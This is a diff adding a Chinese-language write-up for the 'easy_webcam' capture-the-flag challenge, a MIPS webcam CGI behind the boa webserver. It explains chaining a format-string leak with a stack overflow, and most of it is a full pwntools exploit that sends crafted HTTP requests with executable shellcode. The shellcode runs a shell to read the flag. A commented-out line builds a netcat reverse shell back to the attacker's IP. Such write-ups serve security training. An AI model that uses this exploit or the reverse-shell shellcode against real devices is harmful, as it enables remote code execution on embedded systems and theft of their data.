|
| 1 | +# easy_webcam |
| 2 | + |
| 3 | +## 文件属性 |
| 4 | + |
| 5 | +|属性 |值 | |
| 6 | +|------|------| |
| 7 | +|Arch |mipsel| |
| 8 | +|RELRO |Full | |
| 9 | +|Canary|off | |
| 10 | +|NX |off | |
| 11 | +|PIE |off | |
| 12 | +|strip |yes | |
| 13 | + |
| 14 | +## 解题思路 |
| 15 | + |
| 16 | +static编译还剥符号,有点恶心了,还原符号花了不少时间。boa没剥符号,大约是现成的, |
| 17 | +没做改动。大致运行流程是`boa` webserver --转发-> `manager.cgi`这样。 |
| 18 | + |
| 19 | +`manager.cgi`首先从环境变量里拿到从boa传来的`Content-Length`,然后读取并解析json, |
| 20 | +根据输入的命令和camera id判断:当`camera_id != 2024`时,可借助camera id打格式化字符串, |
| 21 | +泄露信息;当`camera_id == 2024 && strstr(operation, "reboot")`时,可借助`operation`打栈溢出。 |
| 22 | + |
| 23 | +> [!IMPORTANT] |
| 24 | +> cgi是由qemu用户态启动的,内存布局不会变化,并且栈是可执行的,我们可以直接打栈上shellcode。 |
| 25 | +> 需要注意的是由于各种参数是通过环境变量传进来的,因此浏览器指纹不同, |
| 26 | +> 从boa传到`manager.cgi`的环境也不同,栈布局也不同。在攻击的时候要使用同一个环境。 |
| 27 | +> 一开始我就是先浏览器泄露信息,再python打,就完全打不通。 |
| 28 | +
|
| 29 | +接下来共攻击思路清晰了:首先控制`camera_id`打格式化字符串,使用%p泄露栈地址, |
| 30 | +然后控制`operation`打栈溢出,写shellcode到栈上并跳转执行。 |
| 31 | + |
| 32 | +> [!NOTE] |
| 33 | +> `manager.cgi`的输出要符合CGI标准才能借由boa传输到我们这里,因此在打开shell是不现实的, |
| 34 | +> 因为没法绕过boa直接和shell交互;同时也不能只打印一个flag,因为还要加Content-Type才能传过来。 |
| 35 | +> 当时flag名字还不一样,需要先`ls`看文件。至于Type,大概不需要json,plaintext应该就可以输出flag了。 |
| 36 | +
|
| 37 | +## EXPLOIT |
| 38 | + |
| 39 | +```python |
| 40 | +from pwn import * |
| 41 | +context.terminal = ['tmux','splitw','-h'] |
| 42 | +context.arch = 'mips' |
| 43 | +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' |
| 44 | +EXE = 'easy_webcam/html/cgi-bin/manager' |
| 45 | + |
| 46 | +def payload(lo: int): |
| 47 | + global sh |
| 48 | + if lo: |
| 49 | + ip = '127.0.0.1' |
| 50 | + ipfrom = ip |
| 51 | + else: |
| 52 | + ip = '173.41.102.19' |
| 53 | + ipfrom = '174.40.102.172' |
| 54 | + |
| 55 | + sh = remote(ip, 80) |
| 56 | + if lo: |
| 57 | + stack = 0x2b2aadd1 + 0x1cf - 0x200 |
| 58 | + # stack = 0x2b2aaf40 |
| 59 | + else: |
| 60 | + # stack = 0x407ffe71 + 0x1ff |
| 61 | + stack = 0x407ffe11 + 0x1cf - 0x200 |
| 62 | + |
| 63 | + # shc = asm(shellcraft.execve('/bin/busybox', ['nc', ipfrom, '14444', '-e', '/bin/sh'])) |
| 64 | + shc = asm(shellcraft.execve('/bin/sh', ['sh', '-c', 'echo Content-Type: application/json\necho\nread FLAG < /flag-EA096FE3722C\necho {flag:$FLAG}'])) |
| 65 | + # shc = asm(shellcraft.execve('/bin/echo', ['echo', 'Content-Type: application/json\n\n{}'])) |
| 66 | + # shc = asm(shellcraft.write(1, 0x4702e0, 31) + shellcraft.write(1, 0x4702e0 + 30, 1) + shellcraft.write(1, 0x470300, 49) + shellcraft.exit()) |
| 67 | + |
| 68 | + def mkRequest(shellcode: bytes) -> bytes: |
| 69 | + part1 = b'POST /cgi-bin/manager.cgi HTTP/1.1\r\n' \ |
| 70 | + b'Accept: */*\r\n' \ |
| 71 | + b'Accept-Encoding: gzip, deflate\r\n' \ |
| 72 | + b'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\r\n' \ |
| 73 | + b'Cache-Control: no-cache\r\n' \ |
| 74 | + b'Connection: keep-alive\r\n' \ |
| 75 | + b'DNT: 1\r\n' \ |
| 76 | + b'Origin: http://174.40.102.172\r\n' \ |
| 77 | + b'Pragma: no-cache\r\n' \ |
| 78 | + b'Referer: http://174.40.102.172/\r\n' \ |
| 79 | + b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0\r\n' \ |
| 80 | + b'Host: ' + ip.encode() + b'\r\n' \ |
| 81 | + b'Content-Length: ' |
| 82 | + part2 = b'\r\n' \ |
| 83 | + b'Content-Type: application/json\r\n' \ |
| 84 | + b'\r\n' \ |
| 85 | + b'{"camera_id":"2024","operation":"' |
| 86 | + part3 = b'"}' |
| 87 | + length = len(shellcode) + len(b'{"camera_id":"2024","operation":""}') |
| 88 | + return part1 + str(length).encode() + part2 + shellcode + part3 |
| 89 | + |
| 90 | + sh.send(mkRequest(b'reboot'.ljust(0x44) + p32(stack) + shc)) |
| 91 | + |
| 92 | + # sh.clean() |
| 93 | + sh.interactive() |
| 94 | + sh.close() |
| 95 | +``` |
| 96 | + |
| 97 | +<img src="assets/managerFLAG.png" width="70%"> |
0 commit comments